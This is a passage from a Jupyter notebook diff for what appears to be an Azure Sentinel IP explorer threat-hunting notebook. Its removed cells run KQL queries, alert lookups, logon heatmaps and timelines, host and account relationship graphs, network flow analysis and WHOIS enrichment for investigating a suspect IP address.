print(f\"Multiple matches for '{hostname}'. Please select a host from the list.\")\n", - " choose_host = nbwidgets.SelectString(\n", - " item_list=list(matching_hosts_df[\"Computer\"].values),\n", - " description=\"Select the host.\",\n", - " auto_display=True,\n", - " )\n", - " elif not matching_hosts_df.empty:\n", - " host_name = matching_hosts_df[\"Computer\"].iloc[0]\n", - " print(f\"Unique host found for IP: {hostname}\")\n", - "elif datasource_status_df.empty:\n", - " md_warn(\"No datasources contain given IP address for the query period\")\n", - "else: \n", - " md(f'Analysis section Not Applicable since IP address type is : {ipaddr_type}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### System Info" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:07.346683Z", - "start_time": "2020-05-15T23:05:07.330684Z" - } - }, - "outputs": [], - "source": [ - "# Retrieving System info from internal table if IP address is not Public\n", - "if ipaddr_origin == \"Internal\" and not heartbeat_df.empty:\n", - " md(\n", - " 'System Info retrieved from Heartbeat table ::', styles=[\"green\",\"bold\"]\n", - " )\n", - " display(heartbeat_df.T)\n", - "else:\n", - " md_warn(\n", - " 'No records available in HeartBeat table'\n", - " )" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### ServiceMap - Get List of Services for Host" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:10.389939Z", - "start_time": "2020-05-15T23:05:10.369939Z" - } - }, - "outputs": [], - "source": [ - "if ipaddr_origin == \"Internal\":\n", - " if \"ServiceMapProcess_CL\" not in available_datasets:\n", - " md_warn(\"ServiceMap data is not enabled\")\n", - " md(\n", - " f\"Enable ServiceMap Solution from Azure marketplce:
\"\n", - " +\"https://docs.microsoft.com/en-us/azure/azure-monitor/insights/service-map#enable-service-map\",\n", - " styles=[\"bold\"]\n", - " )\n", - "\n", - " else:\n", - " servicemap_proc_query = \"\"\"\n", - " ServiceMapProcess_CL\n", - " | where Computer == \\'{hostname}\\'\n", - " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", - " | project Computer, Services_s, DisplayName_s, ExecutableName_s , ExecutablePath_s \n", - " \"\"\".format(\n", - " hostname=hostname, **ipaddr_query_params()\n", - " )\n", - "\n", - " %kql -query servicemap_proc_query\n", - " servicemap_proc_df = _kql_raw_result_.to_dataframe()\n", - " display(servicemap_proc_df)\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address type is {ipaddr_type}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Related Alerts" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:14.185177Z", - "start_time": "2020-05-15T23:05:14.123178Z" - } - }, - "outputs": [], - "source": [ - "ra_query_times = nbwidgets.QueryTime(\n", - " units=\"day\",\n", - " origin_time=query_times.origin_time,\n", - " max_before=28,\n", - " max_after=5,\n", - " before=5,\n", - " auto_display=True,\n", - ")\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Visualization - Timeline of Related Alerts" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:19.536611Z", - "start_time": "2020-05-15T23:05:17.943028Z" - } - }, - "outputs": [], - "source": [ - "#Provide hostname if present to the query\n", - "if hostname:\n", - " md(f\"Searching for alerts related to {hostname}...\")\n", - " related_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", - " ra_query_times, host_name=hostname\n", - " )\n", - "else:\n", - " md(f\"Searching for alerts related to ip address(es) {ipaddr_query_params()['ip_address']}\")\n", - " related_alerts = qry_prov.SecurityAlert.list_alerts_for_ip(\n", - " ra_query_times, source_ip_list=ipaddr_query_params()['ip_address']\n", - " )\n", - "\n", - "\n", - "def print_related_alerts(alertDict, entityType, entityName):\n", - " if len(alertDict) > 0:\n", - " md(\n", - " f\"Found {len(alertDict)} different alert types related to this {entityType} (`{entityName}`)\",styles=[\"bold\",\"orange\"]\n", - " )\n", - " for (k, v) in alertDict.items():\n", - " print(f\"- {k}, # Alerts: {v}\")\n", - " else:\n", - " print(f\"No alerts for {entityType} entity `{entityName}`\")\n", - "\n", - "\n", - "if isinstance(related_alerts, pd.DataFrame) and not related_alerts.empty:\n", - " host_alert_items = (\n", - " related_alerts[[\"AlertName\", \"TimeGenerated\"]]\n", - " .groupby(\"AlertName\")\n", - " .TimeGenerated.agg(\"count\")\n", - " .to_dict()\n", - " )\n", - " print_related_alerts(host_alert_items, \"host\", hostname)\n", - " nbdisplay.display_timeline(\n", - " data=related_alerts, title=\"Alerts\", source_columns=[\"AlertName\"], height=200\n", - " )\n", - "else:\n", - " md(\"No related alerts found.\",styles=[\"bold\",\"green\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - " ### Browse List of Related Alerts\n", - " Select an Alert to view details" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:24.530275Z", - "start_time": "2020-05-15T23:05:24.464277Z" - } - }, - "outputs": [], - "source": [ - "def disp_full_alert(alert):\n", - " global related_alert\n", - " related_alert = SecurityAlert(alert)\n", - " nbdisplay.display_alert(related_alert, show_entities=True)\n", - "\n", - "recenter_wgt = widgets.Checkbox(\n", - " value=True,\n", - " description='Center subsequent query times round selected Alert?',\n", - " disabled=False,\n", - " **WIDGET_DEFAULTS\n", - ")\n", - "if related_alerts is not None and not related_alerts.empty:\n", - " related_alerts[\"CompromisedEntity\"] = related_alerts[\"Computer\"]\n", - " md(\"Click on alert to view details.\", styles=[\"bold\"])\n", - " display(recenter_wgt)\n", - " rel_alert_select = nbwidgets.AlertSelector(\n", - " alerts=related_alerts,\n", - " action=disp_full_alert,\n", - " )\n", - " rel_alert_select.display()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "## Related Hosts\n", - "**Hypothesis:** That an attacker has gained access to the host, compromized credentials for the accounts and laterally moving to the network gaining access to more hosts.\n", - "\n", - "This section provides related hosts of IP address which is being investigated. .If you wish to expand the scope of hunting then investigate each hosts in detail, it is recommended that to use the **Host Explorer Notebook (include link).**\n", - "\n", - "#### __NOTE - the following sections are only relevant for Internal IP Addresses.__" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Visualization - Networkx Graph" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:30.863302Z", - "start_time": "2020-05-15T23:05:29.870080Z" - } - }, - "outputs": [], - "source": [ - "import networkx as nx\n", - "if ipaddr_origin == \"Internal\":\n", - " # Retrived relatd accounts from SecurityEvent table for Windows OS\n", - " if ip_entity['OSType'] =='Windows':\n", - " if \"SecurityEvent\" not in available_datasets:\n", - " raise ValueError(\"No Windows event log data available in the workspace\")\n", - " else:\n", - " related_hosts = \"\"\"\n", - " SecurityEvent\n", - " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", - " | where IpAddress == \\'{ip_address}\\' or Computer == \\'{hostname}\\' \n", - " | summarize count() by Computer, IpAddress\n", - " \"\"\".format(\n", - " **ipaddr_query_params(), hostname=hostname\n", - " )\n", - " %kql -query related_hosts\n", - " related_hosts_df = _kql_raw_result_.to_dataframe()\n", - "\n", - " elif ip_entity['OSType'] =='Linux':\n", - " if \"Syslog\" not in available_datasets:\n", - " raise ValueError(\"No Linux syslog data available in the workspace\")\n", - " else:\n", - " related_hosts_df = qry_prov.LinuxSyslog.list_logons_for_source_ip(invest_times, ip_address=ipaddr_query_params()['ip_address'],add_query_items='extend IpAddress = HostIP | summarize count() by Computer, IpAddress')\n", - "\n", - " # Displaying networkx - static graph. for interactive graph uncomment and run next block of code.\n", - " plt.figure(10, figsize=(22, 14))\n", - " g = nx.from_pandas_edgelist(related_hosts_df, \"IpAddress\", \"Computer\")\n", - " md('Entity Relationship Graph - Related Hosts :: ',styles=[\"bold\",\"green\"])\n", - " nx.draw_circular(g, with_labels=True, size=40, font_size=12, font_color=\"blue\")\n", - "\n", - "\n", - " # Uncomment below cells if you want to dispaly interactive graphs using Pyvis library, Azure notebook free tier may not render the graph correctly.\n", - " # logonpyvis_graph = Network(notebook=True, height=\"750px\", width=\"100%\", bgcolor=\"#222222\", font_color=\"white\")\n", - "\n", - " # # set the physics layout of the network\n", - " # logonpyvis_graph.barnes_hut()\n", - "\n", - " # sources = related_hosts_df['Computer']\n", - " # targets = related_hosts_df['IpAddress']\n", - " # weights = related_hosts_df['count_']\n", - "\n", - " # edge_data = zip(sources, targets, weights)\n", - "\n", - " # for e in edge_data:\n", - " # src = e[0]\n", - " # dst = e[1]\n", - " # w = e[2]\n", - "\n", - " # logonpyvis_graph.add_node(src, src, title=src)\n", - " # logonpyvis_graph.add_node(dst, dst, title=dst)\n", - " # logonpyvis_graph.add_edge(src, dst, value=w)\n", - "\n", - " # neighbor_map = logonpyvis_graph.get_adj_list()\n", - "\n", - " # # add neighbor data to node hover data\n", - " # for node in logonpyvis_graph.nodes:\n", - " # node[\"title\"] += \" Neighbors:
\" + \"
\".join(neighbor_map[node[\"id\"]])\n", - " # node[\"value\"] = len(neighbor_map[node[\"id\"]]) \n", - "\n", - " # logonpyvis_graph.show(\"hostlogonpyvis_graph.html\")\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "## Related Accounts\n", - "**Hypothesis:** That an attacker has gained access to the host, compromized credentials for the accounts on it and laterally moving to the network gaining access to more accounts.\n", - "\n", - "This section provides related accounts of IP address which is being investigated. .If you wish to expand the scope of hunting then investigate each accounts in detail, it is recommended that to use the **Account Explorer Notebook (include link).**" - ] - }, - { - "cell_type": "markdown", - "metadata": { - "ExecuteTime": { - "end_time": "2019-09-10T20:12:42.022358Z", - "start_time": "2019-09-10T20:12:42.010961Z" - } - }, - "source": [ - "[Contents](#toc)\n", - "### Visualization - Networkx Graph" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:36.951055Z", - "start_time": "2020-05-15T23:05:35.741976Z" - } - }, - "outputs": [], - "source": [ - "if ipaddr_origin == \"Internal\":\n", - " # Retrived relatd accounts from SecurityEvent table for Windows OS\n", - " if ip_entity['OSType'] =='Windows':\n", - " if \"SecurityEvent\" not in available_datasets:\n", - " raise ValueError(\"No Windows event log data available in the workspace\")\n", - " else:\n", - " related_accounts = \"\"\"\n", - " SecurityEvent\n", - " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", - " | where IpAddress == \\'{ip_address}\\' or Computer == \\'{hostname}\\' \n", - " | summarize count() by Account, Computer\n", - " \"\"\".format(\n", - " **ipaddr_query_params(), hostname=hostname\n", - " )\n", - " %kql -query related_accounts\n", - " related_accounts_df = _kql_raw_result_.to_dataframe()\n", - "\n", - " elif ip_entity['OSType'] =='Linux':\n", - " if \"Syslog\" not in available_datasets:\n", - " raise ValueError(\"No Linux syslog data available in the workspace\")\n", - " else:\n", - " related_accounts_df = qry_prov.LinuxSyslog.list_logons_for_source_ip(invest_times, ip_address=ipaddr_query_params()['ip_address'],add_query_items='extend Account = AccountName | summarize count() by Account, Computer')\n", - "\n", - "\n", - " # Uncomment- below cells if above visualization does not render - Networkx connected Graph\n", - " plt.figure(10, figsize=(22, 14))\n", - " g = nx.from_pandas_edgelist(related_accounts_df, \"Computer\", \"Account\")\n", - " md('Entity Relationship Graph - Related Accounts :: ',styles=[\"bold\",\"green\"])\n", - " nx.draw_circular(g, with_labels=True, size=40, font_size=12, font_color=\"blue\")\n", - "\n", - " # Uncomment below cells if you want to display interactive graphs using Pyvis library, Azure notebook free tier may not render the graph correctly.\n", - " # acclogon_pyvisgraph = Network(notebook=True, height=\"750px\", width=\"100%\", bgcolor=\"#222222\", font_color=\"white\")\n", - "\n", - " # # set the physics layout of the network\n", - " # acclogon_pyvisgraph.barnes_hut()\n", - "\n", - "\n", - " # sources = related_accounts_df['Computer']\n", - " # targets = related_accounts_df['Account']\n", - " # weights = related_accounts_df['count_']\n", - "\n", - " # edge_data = zip(sources, targets, weights)\n", - "\n", - " # for e in edge_data:\n", - " # src = e[0]\n", - " # dst = e[1]\n", - " # w = e[2]\n", - "\n", - " # acclogon_pyvisgraph.add_node(src, src, title=src)\n", - " # acclogon_pyvisgraph.add_node(dst, dst, title=dst)\n", - " # acclogon_pyvisgraph.add_edge(src, dst, value=w)\n", - "\n", - " # neighbor_map = acclogon_pyvisgraph.get_adj_list()\n", - "\n", - " # # add neighbor data to node hover data\n", - " # for node in acclogon_pyvisgraph.nodes:\n", - " # node[\"title\"] += \" Neighbors:
\" + \"
\".join(neighbor_map[node[\"id\"]])\n", - " # node[\"value\"] = len(neighbor_map[node[\"id\"]]) # this value attrribute for the node affects node size\n", - "\n", - " # acclogon_pyvisgraph.show(\"accountlogonpyvis_graph.html\")\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": { - "ExecuteTime": { - "end_time": "2019-08-30T15:50:05.854226Z", - "start_time": "2019-08-30T15:50:04.517392Z" - } - }, - "source": [ - "[Contents](#toc)\n", - "## Logon Summary for Related Entities\n", - "**Hypothesis:** By analyzing logon activities of the related entities, we can identify change in logon patterns and narrow down the entities to few suspicious logon patterns.\n", - "\n", - "This section provides various visualization of logon attributes such as \n", - "- Weekly Failed Logon trend\n", - "- Logon Types \n", - "- Logon Processes\n", - "\n", - "If you wish to expand the scope of hunting then investigate specific host in detail, it is recommended that to use the **Host Explorer Notebook (include link).**" - ] - }, - { - "cell_type": "markdown", - "metadata": { - "ExecuteTime": { - "end_time": "2019-09-10T20:18:33.673179Z", - "start_time": "2019-09-10T20:18:33.670042Z" - } - }, - "source": [ - "[Contents](#toc)\n", - "### HeatMap for Weekly failed logons" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:46.615934Z", - "start_time": "2020-05-15T23:05:44.570772Z" - } - }, - "outputs": [], - "source": [ - "if ipaddr_origin == \"Internal\":\n", - " # Retrived related accounts from SecurityEvent table for Windows OS\n", - " if ip_entity['OSType'] =='Windows':\n", - " if \"SecurityEvent\" not in available_datasets:\n", - " raise ValueError(\"No Windows event log data available in the workspace\")\n", - " else:\n", - " failed_logons = \"\"\"\n", - " SecurityEvent\n", - " | where EventID in (4624,4625) | where IpAddress == \\'{ip_address}\\' or Computer == \\'{hostname}\\' \n", - " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", - " | extend DayofWeek = case(dayofweek(TimeGenerated) == time(1.00:00:00), \"Monday\", \n", - " dayofweek(TimeGenerated) == time(2.00:00:00), \"Tuesday\",\n", - " dayofweek(TimeGenerated) == time(3.00:00:00), \"Wednesday\",\n", - " dayofweek(TimeGenerated) == time(4.00:00:00), \"Thursday\",\n", - " dayofweek(TimeGenerated) == time(5.00:00:00), \"Friday\",\n", - " dayofweek(TimeGenerated) == time(6.00:00:00), \"Saturday\",\n", - " \"Sunday\")\n", - " | summarize LogonCount=count() by DayofWeek, HourOfDay=format_datetime(bin(TimeGenerated,1h),'HH:mm')\n", - " \"\"\".format(\n", - " **ipaddr_query_params(), hostname=hostname\n", - " )\n", - " %kql -query failed_logons\n", - " failed_logons_df = _kql_raw_result_.to_dataframe()\n", - "\n", - " elif ip_entity['OSType'] =='Linux':\n", - " if \"Syslog\" not in available_datasets:\n", - " raise ValueError(\"No Linux syslog data available in the workspace\")\n", - " else: \n", - " failed_logons_df = qry_prov.LinuxSyslog.user_logon(invest_times, account_name ='', add_query_items=\"\"\"| where HostIP == '{ipaddr_text.value}' |extend Account = AccountName | extend DayofWeek = case(dayofweek(TimeGenerated) == time(1.00:00:00), \"Monday\", dayofweek(TimeGenerated) == time(2.00:00:00), \"Tuesday\",\n", - " dayofweek(TimeGenerated) == time(3.00:00:00), \"Wednesday\",\n", - " dayofweek(TimeGenerated) == time(4.00:00:00), \"Thursday\",\n", - " dayofweek(TimeGenerated) == time(5.00:00:00), \"Friday\",\n", - " dayofweek(TimeGenerated) == time(6.00:00:00), \"Saturday\", \"Sunday\") | summarize LogonCount=count() by DayofWeek, HourOfDay=format_datetime(bin(TimeGenerated,1h),'HH:mm')\"\"\")\n", - "\n", - " # Plotting hearmap using seaborn library if there are failed logons\n", - " if len(failed_logons_df) > 0:\n", - " df_pivot = (\n", - " failed_logons_df.reset_index()\n", - " .pivot_table(index=\"DayofWeek\", columns=\"HourOfDay\", values=\"LogonCount\")\n", - " .fillna(0)\n", - " )\n", - " display(\n", - " Markdown(\n", - " f'### Heatmap - Weekly Failed Logon Trend :: '\n", - " )\n", - " )\n", - " f, ax = plt.subplots(figsize=(16, 8))\n", - " hm1 = sns.heatmap(df_pivot, cmap=\"YlGnBu\", ax=ax)\n", - " plt.xticks(rotation=45)\n", - " plt.yticks(rotation=30)\n", - " else:\n", - " linux_logons=qry_prov.LinuxSyslog.list_logons_for_source_ip(**ipaddr_query_params())\n", - " failed_logons = (logon_events[logon_events['LogonResult'] == 'Failure'])\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Host Logons Timeline" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:49.256466Z", - "start_time": "2020-05-15T23:05:49.190460Z" - } - }, - "outputs": [], - "source": [ - "# set the origin time to the time of our alert\n", - "try:\n", - " origin_time = (related_alert.TimeGenerated \n", - " if recenter_wgt.value \n", - " else query_times.origin_time)\n", - "except NameError:\n", - " origin_time = query_times.origin_time\n", - " \n", - "logon_query_times = nbwidgets.QueryTime(\n", - " units=\"day\",\n", - " origin_time=origin_time,\n", - " before=5,\n", - " after=1,\n", - " max_before=20,\n", - " max_after=20,\n", - ")\n", - "logon_query_times.display()" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:05:55.096129Z", - "start_time": "2020-05-15T23:05:52.661823Z" - } - }, - "outputs": [], - "source": [ - "if ipaddr_origin == \"Internal\":\n", - " host_logons = qry_prov.WindowsSecurity.list_host_logons(\n", - " logon_query_times, host_name=hostname\n", - " )\n", - "\n", - " if host_logons is not None and not host_logons.empty:\n", - " display(Markdown(\"### Logon timeline.\"))\n", - " tooltip_cols = [\n", - " \"TargetUserName\",\n", - " \"TargetDomainName\",\n", - " \"SubjectUserName\",\n", - " \"SubjectDomainName\",\n", - " \"LogonType\",\n", - " \"IpAddress\",\n", - " ]\n", - " nbdisplay.display_timeline(\n", - " data=host_logons,\n", - " group_by=\"TargetUserName\",\n", - " source_columns=tooltip_cols,\n", - " legend=\"right\", yaxis=True\n", - " )\n", - "\n", - " display(Markdown(\"### Counts of logon events by logon type.\"))\n", - " display(Markdown(\"Min counts for each logon type highlighted.\"))\n", - " logon_by_type = (\n", - " host_logons[[\"Account\", \"LogonType\", \"EventID\"]]\n", - " .astype({'LogonType': 'int32'})\n", - " .merge(right=pd.Series(data=nbdisplay._WIN_LOGON_TYPE_MAP, name=\"LogonTypeDesc\"),\n", - " left_on=\"LogonType\", right_index=True)\n", - " .drop(columns=\"LogonType\")\n", - " .groupby([\"Account\", \"LogonTypeDesc\"])\n", - " .count()\n", - " .unstack()\n", - " .rename(columns={\"EventID\": \"LogonCount\"})\n", - " .fillna(0)\n", - " .style\n", - " .background_gradient(cmap=\"viridis\", low=0.5, high=0)\n", - " .format(\"{0:0>3.0f}\")\n", - " )\n", - " display(logon_by_type)\n", - " else:\n", - " display(Markdown(\"No logon events found for host.\"))\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Failed Logons Timeline" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:06:01.493064Z", - "start_time": "2020-05-15T23:05:59.580819Z" - }, - "scrolled": true - }, - "outputs": [], - "source": [ - "if ipaddr_origin == \"Internal\":\n", - " failedLogons = qry_prov.WindowsSecurity.list_host_logon_failures(\n", - " logon_query_times, host_name=ip_entity.hostname\n", - " )\n", - " if failedLogons.empty:\n", - " print(\"No logon failures recorded for this host between \",\n", - " f\" {logon_query_times.start} and {logon_query_times.end}\"\n", - " )\n", - " else:\n", - " nbdisplay.display_timeline(\n", - " data=host_logons.query('TargetLogonId != \"0x3e7\"'),\n", - " overlay_data=failedLogons,\n", - " alert=related_alert,\n", - " title=\"Logons (blue=user-success, green=failed)\",\n", - " source_columns=tooltip_cols,\n", - " height=200,\n", - " )\n", - " display(failedLogons\n", - " .astype({'LogonType': 'int32'})\n", - " .merge(right=pd.Series(data=nbdisplay._WIN_LOGON_TYPE_MAP, name=\"LogonTypeDesc\"),\n", - " left_on=\"LogonType\", right_index=True)\n", - " [['Account', 'EventID', 'TimeGenerated',\n", - " 'Computer', 'SubjectUserName', 'SubjectDomainName',\n", - " 'TargetUserName', 'TargetDomainName',\n", - " 'LogonTypeDesc','IpAddress', 'WorkstationName'\n", - " ]])\n", - "else:\n", - " md(f'Analysis section Not Applicable since IP address owner is {ipaddr_origin}', styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": { - "ExecuteTime": { - "end_time": "2019-08-30T15:52:54.700099Z", - "start_time": "2019-08-30T15:52:54.661189Z" - } - }, - "source": [ - "[Contents](#toc)\n", - "## Network Connection Analysis\n", - "\n", - "**Hypothesis:** That an attacker is remotely communicating with the host in order to compromise the host or for outbound communication to C2 for data exfiltration purposes after compromising the host.\n", - "\n", - "This section provides an overview of network activity to and from the host during hunting time frame, the purpose of this is for the identification of anomalous network traffic. If you wish to investigate a specific IP in detail it is recommended that to use another instance of this notebook with each IP addresses." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Network Check Communications with Other Hosts" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:06:06.486183Z", - "start_time": "2020-05-15T23:06:06.429184Z" - } - }, - "outputs": [], - "source": [ - "ip_q_times = nbwidgets.QueryTime(\n", - " label=\"Set time bounds for network queries\",\n", - " units=\"day\",\n", - " max_before=28,\n", - " before=2,\n", - " after=5,\n", - " max_after=28,\n", - " origin_time=logon_query_times.origin_time\n", - ")\n", - "ip_q_times.display()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Query Flows by IP Address" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:06:22.160247Z", - "start_time": "2020-05-15T23:06:10.292782Z" - } - }, - "outputs": [], - "source": [ - "if \"AzureNetworkAnalytics_CL\" not in available_datasets:\n", - " md_warn(\"No network flow data available.\")\n", - " md(\"Please skip the remainder of this section and go to [Time-Series-Anomalies](#Outbound-Data-transfer-Time-Series-Anomalies)\")\n", - " az_net_comms_df = None\n", - "else:\n", - " all_host_ips = (\n", - " ip_entity['private_ips'] + ip_entity['public_ips']\n", - " )\n", - " host_ips = [i.Address for i in all_host_ips]\n", - "\n", - " az_net_comms_df = qry_prov.Network.list_azure_network_flows_by_ip(\n", - " ip_q_times, ip_address_list=host_ips\n", - " )\n", - "\n", - " if isinstance(az_net_comms_df, pd.DataFrame) and not az_net_comms_df.empty:\n", - " az_net_comms_df['TotalAllowedFlows'] = az_net_comms_df['AllowedOutFlows'] + az_net_comms_df['AllowedInFlows']\n", - " nbdisplay.display_timeline(\n", - " data=az_net_comms_df,\n", - " group_by=\"L7Protocol\",\n", - " title=\"Network Flows by Protocol\",\n", - " time_column=\"FlowStartTime\",\n", - " source_columns=[\"FlowType\", \"AllExtIPs\", \"L7Protocol\", \"FlowDirection\"],\n", - " height=300,\n", - " legend=\"right\",\n", - " yaxis=True\n", - " )\n", - " nbdisplay.display_timeline(\n", - " data=az_net_comms_df,\n", - " group_by=\"FlowDirection\",\n", - " title=\"Network Flows by Direction\",\n", - " time_column=\"FlowStartTime\",\n", - " source_columns=[\"FlowType\", \"AllExtIPs\", \"L7Protocol\", \"FlowDirection\"],\n", - " height=300,\n", - " legend=\"right\",\n", - " yaxis=True\n", - " )\n", - " else:\n", - " md_warn(\"No network data for specified time range.\")\n", - " md(\"Please skip the remainder of this section and go to [Time-Series-Anomalies](#Outbound-Data-transfer-Time-Series-Anomalies)\")" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:06:50.373391Z", - "start_time": "2020-05-15T23:06:50.084392Z" - } - }, - "outputs": [], - "source": [ - "try:\n", - " flow_plot = nbdisplay.display_timeline_values(\n", - " data=az_net_comms_df,\n", - " group_by=\"L7Protocol\",\n", - " source_columns=[\"FlowType\", \n", - " \"AllExtIPs\", \n", - " \"L7Protocol\", \n", - " \"FlowDirection\", \n", - " \"TotalAllowedFlows\"],\n", - " time_column=\"FlowStartTime\",\n", - " y=\"TotalAllowedFlows\",\n", - " legend=\"right\",\n", - " height=500,\n", - " kind=[\"vbar\", \"circle\"],\n", - " );\n", - "except NameError as err:\n", - " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:06:55.928554Z", - "start_time": "2020-05-15T23:06:55.790553Z" - } - }, - "outputs": [], - "source": [ - "try:\n", - " if az_net_comms_df is not None and not az_net_comms_df.empty:\n", - " cm = sns.light_palette(\"green\", as_cmap=True)\n", - "\n", - " cols = [\n", - " \"VMName\",\n", - " \"VMIPAddress\",\n", - " \"PublicIPs\",\n", - " \"SrcIP\",\n", - " \"DestIP\",\n", - " \"L4Protocol\",\n", - " \"L7Protocol\",\n", - " \"DestPort\",\n", - " \"FlowDirection\",\n", - " \"AllExtIPs\",\n", - " \"TotalAllowedFlows\",\n", - " ]\n", - " flow_index = az_net_comms_df[cols].copy()\n", - "\n", - " def get_source_ip(row):\n", - " if row.FlowDirection == \"O\":\n", - " return row.VMIPAddress if row.VMIPAddress else row.SrcIP\n", - " else:\n", - " return row.AllExtIPs if row.AllExtIPs else row.DestIP\n", - "\n", - " def get_dest_ip(row):\n", - " if row.FlowDirection == \"O\":\n", - " return row.AllExtIPs if row.AllExtIPs else row.DestIP\n", - " else:\n", - " return row.VMIPAddress if row.VMIPAddress else row.SrcIP\n", - " \n", - " flow_index[\"source\"] = flow_index.apply(get_source_ip, axis=1)\n", - " flow_index[\"dest\"] = flow_index.apply(get_dest_ip, axis=1)\n", - " display(flow_index)\n", - "\n", - " # Uncomment to view flow_index results\n", - " # with warnings.catch_warnings():\n", - " # warnings.simplefilter(\"ignore\")\n", - " # display(\n", - " # flow_index[\n", - " # [\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\", \"TotalAllowedFlows\"]\n", - " # ]\n", - " # .groupby([\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\"])\n", - " # .sum()\n", - " # .reset_index()\n", - " # .style.bar(subset=[\"TotalAllowedFlows\"], color=\"#d65f5f\")\n", - " # )\n", - "except NameError as err:\n", - " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "### Bulk whois lookup " - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:08:00.744206Z", - "start_time": "2020-05-15T23:07:01.493951Z" - } - }, - "outputs": [], - "source": [ - "# Bulk WHOIS lookup function\n", - "from functools import lru_cache\n", - "from ipwhois import IPWhois\n", - "from ipaddress import ip_address\n", - "\n", - "try:\n", - " # Add ASN informatio from Whois\n", - " flows_df = (\n", - " flow_index[[\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\", \"TotalAllowedFlows\"]]\n", - " .groupby([\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\"])\n", - " .sum()\n", - " .reset_index()\n", - " )\n", - "\n", - " num_ips = len(flows_df[\"source\"].unique()) + len(flows_df[\"dest\"].unique())\n", - " print(f\"Performing WhoIs lookups for {num_ips} IPs \", end=\"\")\n", - " #flows_df = flows_df.assign(DestASN=\"\", DestASNFull=\"\", SourceASN=\"\", SourceASNFull=\"\")\n", - " flows_df[\"DestASN\"] = flows_df.apply(lambda x: get_whois_info(x.dest, True), axis=1)\n", - " flows_df[\"SourceASN\"] = flows_df.apply(lambda x: get_whois_info(x.source, True), axis=1)\n", - " print(\"done\")\n", - "\n", - " # Split the tuple returned by get_whois_info into separate columns\n", - " flows_df[\"DestASNFull\"] = flows_df.apply(lambda x: x.DestASN[1], axis=1)\n", - " flows_df[\"DestASN\"] = flows_df.apply(lambda x: x.DestASN[0], axis=1)\n", - " flows_df[\"SourceASNFull\"] = flows_df.apply(lambda x: 